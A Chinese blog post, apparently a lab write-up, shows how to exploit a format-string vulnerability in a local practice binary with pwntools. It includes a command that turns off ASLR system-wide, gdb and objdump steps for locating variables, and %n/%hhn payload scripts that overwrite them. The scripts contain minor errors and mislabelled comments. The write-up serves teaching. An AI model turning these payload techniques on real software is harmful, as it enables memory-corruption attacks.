逆向实验-格式化字符串漏洞利用

发布于 2025-04-13  603 次阅读


题目如下

利用格式化字符串漏洞实现任意地址覆盖

要求:使用pwntools实现3段代码,分别利用格式化字符串漏洞覆盖a,b,c三个变量,成功打印相应的puts信息。

例如,对于变量c的覆盖,输出结果如下图,成功打印:overwrite c successfully。

解决方法:

首先关闭ASLR(确保地址固定)

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

进入a == 0x10

需要确定两点:a的地址,a的偏移量

a的地址可通过gdb调试程序来获取,具体方法如下:

b vulnfunc

r

disassemble

可以看到a变量声明的代码

在声明a变量后设置断点 b *0x08049219

c

x/wx $ebp-0x110

可以看到确实是a的值

!!!!!但是,在利用0xffffd028来作为a的地址时,无法正常覆写

原因是:在调试器中和实际运行时,程序的内存布局可能有所不同。这种差异可能是由于调试器对程序的影响(如调试器会改变程序的内存分配)

所以我们修改源代码!帮我们打印出来a的地址!

将源代码改为(红框为添加内容):

下面我们运行程序就能看到a在执行时的地址

然后我们可以写出a的利用代码

运行结果如下

可以看到输出了我们想要的内容

进入b == 2

b和c作为全局变量,可以直接查看地址(地址固定)

objdump -t ./test2 | grep b
objdump -t ./test2 | grep c

b变量地址最小也是占用了4字节的,我们无论如何都不能覆盖成2,所以思路就是把地址写到后面去

#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']

p   = process("./test2")

def exploit_c():
    b_address  = 0x804c02c
    #构造Payload
    padding = b'11'
    padding_address = b'\x00\x00'

    Payload = padding + b'%9$n' + padding_address + p32(b_address)
    log,info("Payload: %s" % Payload)
    #发送Payload
    p.sendline(Payload)


exploit_c()
print(p.recv())

运行结果如下

可以看到出现了我们预期的输出

进入c == 0x12345678

b和c作为全局变量,可以直接查看地址(地址固定)

objdump -t ./test2 | grep b
objdump -t ./test2 | grep c

构造payload的思路如下

构造payload:分四次写入(分别覆盖c的四个字节)
目标值:c = 0x12345678 → 分解为四个单字节:0x78, 0x56, 0x34, 0x12
from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

def exploit_c():
    p = process('./test2')

    c_addr = 0x804c030  # 替换为实际地址

    # 构造payload:分四次写入(分别覆盖c的四个字节)
    # 目标值:c = 0x12345678 → 分解为四个单字节:0x78, 0x56, 0x34, 0x12
    payload = p32(c_addr) + p32(c_addr+1) + p32(c_addr+2) + p32(c_addr+3)
    
    # 计算各字节的字符数(注意顺序为小端序):
    # 0x78 - 16(已写入16字节) = 0x78 - 0x10 = 104 → "%104c"
    # 0x56 - 0x78 = 0xDE (222) → 需补到0x156 → 222 → "%222c"
    # 0x34 - 0x56 = 0xDE (222) → "%222c"
    # 0x12 - 0x34 = 0xDE (222) → "%222c"
    payload += b"%104c%7$hhn"    # 覆盖c_addr(第6个参数)
    payload += b"%222c%8$hhn"    # 覆盖c_addr+1(第7个参数)
    payload += b"%222c%9$hhn"    # 覆盖c_addr+2(第8个参数)
    payload += b"%222c%10$hhn"    # 覆盖c_addr+3(第9个参数)
    
    # 检查payload长度(必须 ≤100)
    assert len(payload) <= 100, f"Payload过长: {len(payload)}字节"

    p.sendline(payload)
    
    # 接收输出并验证
    output = p.recvall(timeout=2)
    print(output)

exploit_c()

运行结果如下

额额额虽然输出很潦草(printf输出的杂乱东西太多了),但是还是能在最后看到我们想要的结果,搞定!


人生苦难处,正是修行时